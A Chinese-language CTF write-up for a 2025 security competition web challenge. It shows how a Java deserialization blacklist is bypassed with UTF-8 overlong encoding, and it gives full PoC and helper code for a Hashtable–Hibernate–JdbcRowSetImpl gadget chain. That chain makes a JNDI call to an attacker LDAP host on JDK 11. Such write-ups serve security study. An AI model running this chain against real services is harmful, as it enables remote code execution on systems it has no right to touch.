分析
把题目给的jar包反编译到term:(IDEA自带反编译器,文末给出对应的bat指令)

启动项目,发现两个限制:

上图限制了三个包,再看看下面限制的黑名单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| javax.management.BadAttributeValueExpException com.sun.org.apache.xpath.internal.objects.XString java.rmi.MarshalledObject java.rmi.activation.ActivationID javax.swing.event.EventListenerList java.rmi.server.RemoteObject javax.swing.AbstractAction javax.swing.text.DefaultFormatter java.beans.EventHandler java.net.Inet4Address java.net.Inet6Address java.net.InetAddress java.net.InetSocketAddress java.net.Socket java.net.URL java.net.URLStreamHandler com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl java.rmi.registry.Registry java.rmi.RemoteObjectInvocationHandler java.rmi.server.ObjID java.lang.System javax.management.remote.JMXServiceUR javax.management.remote.rmi.RMIConnector java.rmi.server.RemoteObject java.rmi.server.RemoteRef javax.swing.UIDefaults$TextAndMnemonicHashMap java.rmi.server.UnicastRemoteObject java.util.Base64 java.util.Comparator java.util.HashMap java.util.logging.FileHandler java.security.SignedObject javax.swing.UIDefaults
|
把TemplatesImpl和HashMap限制了,那我想到二次反序列化,但是黑名单把SignedObject等类也限制了,所以只好找找别的类。
但是黑名单疏忽了一点,就是没有限制com.sun.rowset.JdbcRowSetImpl类。好巧不巧的是,com.sun包被限制了。
再观察lib目录,发现存在Hibernate依赖,且黑名单都没有限制Hibernate。
所以我选择拿Hibernate当作链子主体。
HashMap被黑名单禁止了,无妨,用兄弟类HashTable。
那么链尾呢?
jndi?jndi高版本绕过?都逃不过com.sun的检测。
但是事实上,存在一种绕过字符串检测的方法,P神在下文分析过:
UTF-8 Overlong Encoding导致的安全问题 | 离别歌
在P神等大佬创建的工具Java Chains也给出混淆工具。
所以现在可以使用JdbcRowSetImpl了。
但是JDK11是比较高的版本,不允许远程类加载。
想用jndi高版本绕过,但是forceString字段已经没了。
不想放弃,因为好不容易可以使用JNDI,那么再找找绕过方式。
tabby扫到LdapAttribute:

而且Jackson也可以使用,翻翻Java Chains的JNDI模块,经过学长点拨,找到这个链子:

这个链子可以在jdk11发挥作用。
由于JdbcRowSetImpl类可以发送JNDI请求,那么就都串起来了。
HashTable->Hibernate->JdbcRowSetImpl->ldap://xxxxxxx/xxx
步骤
利用Java Chains产生一个上文讲述的服务:ldap://xxx/a54ad6
产生POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| package com.example.ezjav.poc;
import com.example.ezjav.utils.User; import com.sun.rowset.JdbcRowSetImpl; import org.hibernate.engine.spi.TypedValue; import org.hibernate.property.access.spi.Getter; import org.hibernate.property.access.spi.GetterMethodImpl; import org.hibernate.tuple.component.PojoComponentTuplizer; import org.hibernate.type.ComponentType;
import java.lang.reflect.Method; import java.util.HashMap; import java.util.Hashtable;
import static com.example.ezjav.poc.Utils.Utils.*;
public class Main { public static void main(String[] args) throws Exception{ JdbcRowSetImpl jdbcRowSetImpl = getJdbcRowSetImpl("ldap://xxx/a54ad6"); Method getDatabaseMetaDataMethod = jdbcRowSetImpl.getClass().getMethod("getDatabaseMetaData"); GetterMethodImpl getterMethod = new GetterMethodImpl(jdbcRowSetImpl.getClass(), "111", getDatabaseMetaDataMethod); Getter[] getters = new Getter[]{getterMethod}; PojoComponentTuplizer pojoComponentTuplizer = getPojoComponentTuplizer(getters); ComponentType componentType = (ComponentType) initObject(ComponentType.class); setFieldValue(componentType, "componentTuplizer",pojoComponentTuplizer); setFieldValue(componentType, "propertySpan", 1); TypedValue typedValue = (TypedValue) initObject(TypedValue.class); setFieldValue(typedValue, "value", jdbcRowSetImpl); setFieldValue(typedValue, "type", componentType); Hashtable<Object, Object> hashtable = gadgetFromHashtable(typedValue); serializeToFile(hashtable); } }
|
混淆POC:

把混淆后的POC直接拿去用即可弹出POC
工具
预编译bat指令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| @echo off setlocal
set path1=%~1 set path2=%~2
if not exist "%path2%" ( mkdir "%path2%" )
java -cp "D:\IDEA\IntelliJ IDEA 2023.3.2\plugins\java-decompiler\lib\java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true %path1% %path2%
endlocal
|
Java Chains自行找。
POC用到的Utils类函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
| package com.example.ezjav.poc.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.rowset.JdbcRowSetImpl; import org.hibernate.property.access.spi.Getter; import org.hibernate.tuple.component.AbstractComponentTuplizer; import org.hibernate.tuple.component.PojoComponentTuplizer; import sun.reflect.ReflectionFactory;
import javax.sql.rowset.BaseRowSet; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Hashtable;
public class Utils { public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{ Class clazz = object.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); } public static void serializeToFile(Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin")); objectOutputStream.writeObject(object); } public static Object deserializeFromFile(String filePath) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin")); return objectInputStream.readObject(); } public static HashMap<Object, Object> gadgetFromHashmap(Object o) throws Exception { HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(1,1); Field tableField = HashMap.class.getDeclaredField("table"); tableField.setAccessible(true); Object[] table = (Object[]) tableField.get(hashMap); for (Object entry: table){ if (entry != null){ setFieldValue(entry,"key",o); } } return hashMap; }
public static Hashtable<Object, Object> gadgetFromHashtable(Object o) throws Exception { Hashtable<Object, Object> hashtable = new Hashtable<>(); hashtable.put(1, 1); Field tableField = Hashtable.class.getDeclaredField("table"); tableField.setAccessible(true); Object[] table = (Object[]) tableField.get(hashtable); for (Object entry : table) { if (entry != null) { setFieldValue(entry, "key", o); } } return hashtable; } public static Object initObject(Class clazz) throws Exception { ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructorForSerialization = reflectionFactory .newConstructorForSerialization(clazz, constructor); constructorForSerialization.setAccessible(true); return constructorForSerialization.newInstance(); } public static TemplatesImpl getTemplatesImpl() throws Exception{ TemplatesImpl templates = new TemplatesImpl(); byte[] code = Files.readAllBytes(Paths.get("E://all_test/test_java/com/Unserialize/cc_test/target/classes/Tool/Calc.class")); setFieldValue(templates, "_name", "Pax"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templates, "_bytecodes", new byte[][]{code}); return templates; } public static JdbcRowSetImpl getJdbcRowSetImpl(String url) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); Class c0 = BaseRowSet.class; Field dataSourceField = c0.getDeclaredField("dataSource"); dataSourceField.setAccessible(true); dataSourceField.set(jdbcRowSet,url); return jdbcRowSet; } public static PojoComponentTuplizer getPojoComponentTuplizer(Getter[] getters) throws Exception { PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) initObject(PojoComponentTuplizer.class); Class superClass = AbstractComponentTuplizer.class; Field gettersField = superClass.getDeclaredField("getters"); gettersField.setAccessible(true); gettersField.set(pojoComponentTuplizer, getters); return pojoComponentTuplizer; } }
|
参考
软件系统安全赛2025华东赛区半决赛wp-web - Potat0w0
UTF-8 Overlong Encoding导致的安全问题 | 离别歌
♪(^∇^*)欢迎肥来!软件系统安全赛2025华东赛区半决赛web-justDeserialize | Sherlock